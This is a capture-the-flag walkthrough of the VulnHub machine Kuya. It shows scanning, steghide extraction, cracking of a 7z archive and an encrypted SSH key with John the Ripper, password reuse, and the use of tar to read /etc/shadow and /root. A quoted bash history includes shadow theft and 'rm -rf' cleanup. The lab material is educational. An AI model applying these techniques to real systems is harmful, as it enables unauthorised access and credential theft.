This is a relatively easy to crack machine. Let’s start with the basics: Reconnaissance.
Kuya’s IP in my network is
Step 1: Scanning
$ nmap -n -v -Pn -p- -A 10.99.159.30 Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-03 10:44 EST NSE: Loaded 148 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 10:44 Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan NSE: Active NSE Script Threads: 1 (0 waiting) NSE Timing: About 0.00% done Completed NSE at 10:44, 0.00s elapsed Initiating NSE at 10:44 Completed NSE at 10:44, 0.00s elapsed Initiating ARP Ping Scan at 10:44 Scanning 10.99.159.30 [1 port] Completed ARP Ping Scan at 10:44, 0.03s elapsed (1 total hosts) Initiating SYN Stealth Scan at 10:44 Scanning 10.99.159.30 [65535 ports] Discovered open port 22/tcp on 10.99.159.30 Discovered open port 80/tcp on 10.99.159.30 Completed SYN Stealth Scan at 10:44, 5.06s elapsed (65535 total ports) Initiating Service scan at 10:44 Scanning 2 services on 10.99.159.30 Completed Service scan at 10:44, 6.02s elapsed (2 services on 1 host) Initiating OS detection (try #1) against 10.99.159.30 NSE: Script scanning 10.99.159.30. Initiating NSE at 10:45 Completed NSE at 10:45, 0.24s elapsed Initiating NSE at 10:45 Completed NSE at 10:45, 0.01s elapsed Nmap scan report for 10.99.159.30 Host is up (0.00059s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0) | ssh-hostkey: | 2048 11:33:6d:34:f3:f2:12:9d:c6:6c:07:54:f0:86:53:d6 (RSA) | 256 45:77:11:0d:b4:c6:3e:a4:bc:7a:b2:5f:02:03:8e:37 (ECDSA) |_ 256 00:27:20:4a:d8:b6:34:78:46:0e:cd:19:c2:9d:84:6a (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Welcome MAC Address: 00:0C:29:98:32:F0 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Uptime guess: 198.839 days (since Thu Aug 16 15:36:42 2018) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=251 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.59 ms 10.99.159.30 NSE: Script Post-scanning. Initiating NSE at 10:45 Completed NSE at 10:45, 0.00s elapsed Initiating NSE at 10:45 Completed NSE at 10:45, 0.00s elapsed Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.59 seconds Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)
A web server and an SSH server. To get into it, we’ll probably have to look for clues in the web server first.
It has a WordPress installation, but it seems broken. Probably not interesting for now. The
/loot folder, however, contains interesting files. Seemingly innocent images, but they probably are hiding something. Steghide will help us.
Step 2: Breaking in
$ steghide --extract -sf 1.jpg Enter passphrase: wrote extracted data to "secret.txt". $ cat secret.txt WW91IHJlYWxseSB0aG91Z2h0IGl0IHdvdWxkIGJlIHRoaXMgZWFzeSA/IEtlZXAgZGlnZ2luZyAhIExvdHMgb2YgdHJvbGxzIHRvIGRlZmVhdC4= $ steghide --extract -sf 2.jpg Enter passphrase: wrote extracted data to "emb.txt". $ cat emb.txt +[--->++<]>+.++[->++++<]>+.+++++++..[++>---<]>--.++[->++<]>.[--->+<]>+++.-.---------.--[--->+<]>-.+.-.--[->+++<]>-.[->+++++++<]>.++++++.---.[-->+++++<]>+++.+++[->++<]>.[-->+++<]>.+++++++++.+.+.[---->+<]>+++.+++[->++<]>.--[--->+<]>.-----------.++++++.-[--->+<]>--.-[--->++<]>-.++++++++++.+[---->+<]>+++.>+[--->++<]>.>-[----->+<]>-.++[->++<]>..----.-[--->++<]>+.-.--[++++>---<]>.-------------.-[--->+<]>+++.+[-->+<]>+++++.+.++[->+++++<]>.--.+[----->+<]>.--[++>---<]>.+[->++<]>.-[--->++<]>+.--.-[---->+++<]>-. $ steghide --extract -sf 3.jpg Enter passphrase: steghide: could not extract any data with that passphrase! $ steghide --extract -sf 4.jpg Enter passphrase: wrote extracted data to "loot.pcapng". $ steghide --extract -sf image.jpeg Enter passphrase: wrote extracted data to "robots.txt". $ cat robots.txt 1.jpg 2." 3." 4." 5." image.jpeg
Because I didn’t have a passphrase, I just tried an empty passphrase and that seems to do the trick for all files except
3.jpg. Let’s forget about it for now.
secret.txt seems like a Base64 file. After decoding it, we get:
You really thought it would be this easy ? Keep digging ! Lots of trolls to defeat.
emb.txt is a Brainfuck program. When executed, it outputs the following:
Well Done ! Your First Flag is <FLAG>
loot.pcapng is a packet capture file. We can open it with Wireshark.
It looks like a file transfer. We can actually extract files from Wireshark by going to
Export objects >
Bruteforcing 7z password
It’s an encrypted 7z file to which we don’t have the password. Let’s crack it.
$ ./7z2john.pl loot.7z > hash.txt $ john hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (7z, 7-Zip [SHA256 256/256 AVX2 8x AES]) Cost 1 (iteration count) is 524288 for all loaded hashes Cost 2 (padding size) is 0 for all loaded hashes Cost 3 (compression type) is 2 for all loaded hashes Will run 4 OpenMP threads Proceeding with single, rules:Wordlist Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any Warning: Only 30 candidates buffered for the current salt, minimum 32 needed for performance. Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist manchester (loot.7z) [...]
We get two files. A public and a private SSH key pair.
$ cat id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPf01eRsS9o4Xaaog8Acmsd8ctkNA/qweGlDVYQqfGISzy/z0Sh3a2SlEVAweLnVKz1mdoKS4LrKnKxw0cR/fe7AChdY6wq/kCodLPCPmzMZQv12RUo1awO8gpuFA4RZdSmvDmtS1220cscm0fdSDrFt2sxNfn65dgPutJg+wMgssxrExzWjp9OR6AaAlB/naarcT28/LIsMh8DeHhOd9vs/Rew6LvX0mWyLJchAzqoMPHOrSaKu/b7YbMFUlJVvrivzBy35qwOdKFuX0Fa5Wg9TWDL9B1VDu+rFV/MTMdEkss+hIvS7Nl04ovplRLSE09TVa8dPUGGzMRVTGKxHON [email protected]
Which apparently belongs to the
Bruteforcing SSH private keys
Unfortunately, the private key is also encrypted. Let’s use John The Ripper again with another tool that converts SSH keys to John The Ripper’s hash format.
$ ./ssh2john.py loot/id_rsa > ssh_john.txt $ john ssh_john.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 4 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Proceeding with single, rules:Wordlist Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance. Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance. Almost done: Processing the remaining buffered candidate passwords, if any Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist hello (loot/id_rsa)
Logging into the SSH server
Now that we have cracked the password for the private key file, we can log in to the victim’s machine.
$ ssh [email protected] -i loot/id_rsa The authenticity of host '10.99.159.30 (<no hostip for proxy command>)' can't be established. ECDSA key fingerprint is SHA256:zyMHWQ6tB6OR+dKyv0X7ZXx6oCbYuH9/YbAxBwd5TCw. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.99.159.30' (ECDSA) to the list of known hosts. Enter passphrase for key 'loot/id_rsa': Linux mini 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Dec 18 01:33:12 2018 from 192.168.37.1 [email protected]:~$ ls -lAs total 12 4 -rw------- 1 test test 464 Dec 18 01:33 .bash_history 4 drwx------ 2 test test 4096 Dec 2 14:34 .ssh 4 -rw-r--r-- 1 test test 168 Dec 2 17:55 .wget-hsts [email protected]:~$ cat .ssh/sshscript.sh #!/bin/bash echo "FInally you got a shell ! Here's a flag for you <FLAG>. Let's see where you go from here" [email protected]:~$ cat .bash_history su kuya getcap -r / 2>/dev/null /sbin/getcap -r / 2>/dev/null tar -cvf shadow.tar /etc/shadow /sbin/getcap -r / 2>/dev/null tar -cvf shadow.tar /etc/shadow /sbin/getcap -r / 2>/dev/null tar -cvf shadow.tar /etc/shadow /sbin/getcap -r / 2>/dev/null tar -cvf shadow.tar /etc/shadow ls tar -xvf shadow.tar ls -alh tar -xvf shadow.tar cd etc ls cat shadow cd .. ls rm -rf *.* ls ls ls rm -rf *.* ls rm -rf etc ls ls -lah rm -rf .bash_history rm -rf .nano/ ls exit
Another flag. Let’s keep going. The Bash history is interesting because it wasn’t cleared, and the user appears to be using tar to create archives of files he normally shouldn’t have permissions to read. Let’s try those commands.
$ tar -cvf shadow.tar /etc/shadow tar: Removing leading `/' from member names /etc/shadow $ tar -xvf shadow.tar etc/shadow
At this point, I moved the shadow file to my desktop, so I can use John The Ripper on it, with the
rockyou.txt dictionary while I look for other clues.
Step 3: Privilege escalation
We know the machine is running a web server. We also know the web server is serving a
wordpress directory, but it complains about a missing MySQL extension. Let’s see what we can get from here.
$ cd /var/www/html/wordpress $ grep -r DB_PASSWORD wp-admin/setup-config.php: define('DB_PASSWORD', $pwd); wp-admin/setup-config.php: case 'DB_PASSWORD' : wp-includes/load.php: $wpdb = new wpdb( DB_USER, DB_PASSWORD, DB_NAME, DB_HOST ); wp-config-sample.php:define('DB_PASSWORD', 'Chrepia##@@!!');
We have an obvious password. What’s the user?
$ cat wp-config-sample.php | grep DB_USER define('DB_USER', 'kuya');
We can learn the user “kuya” exists on the system if we list the directories in
/home/. Maybe password reuse works here.
$ ls /home kuya test $ su kuya Password: [email protected]:~$ ls shadow.tar who_dis.txt $ cat who_dis.txt Well Done ! BTW this was too easy :D Here is something for you <FLAG>
Let’s try the
tar trick to steal the root flag too.
$ tar -cvf root.tar /root tar: Removing leading `/' from member names /root/ /root/.nano/ /root/M3m3L0rd.txt /root/.selected_editor /root/.bash_history $ tar -xvf root.tar root/ root/.nano/ root/M3m3L0rd.txt root/.selected_editor root/.bash_history $ cat root/M3m3L0rd.txt You did it !!!! COngratulations :D I just hope you had the same fun as I had while making this box. As this is my first box, please send in your reviews to me on [email protected] (DOn't hack this please Mr Leet) If you are still reading, you are wasting your time THere is no flag here. Seriously Stop Well I can't help so here is the last one <FLAG> #PeaceOut
No, I was not able to crack the shadow file to get root. Also, I wasn’t able
to find the correct password for the
3.jpg file. I tried with all flags and all
passwords and potential passwords I harvested, but nothing worked. Maybe I missed
This machine is available on VulnHub.
Leave a Comment
Your email address will not be published. Required fields are marked *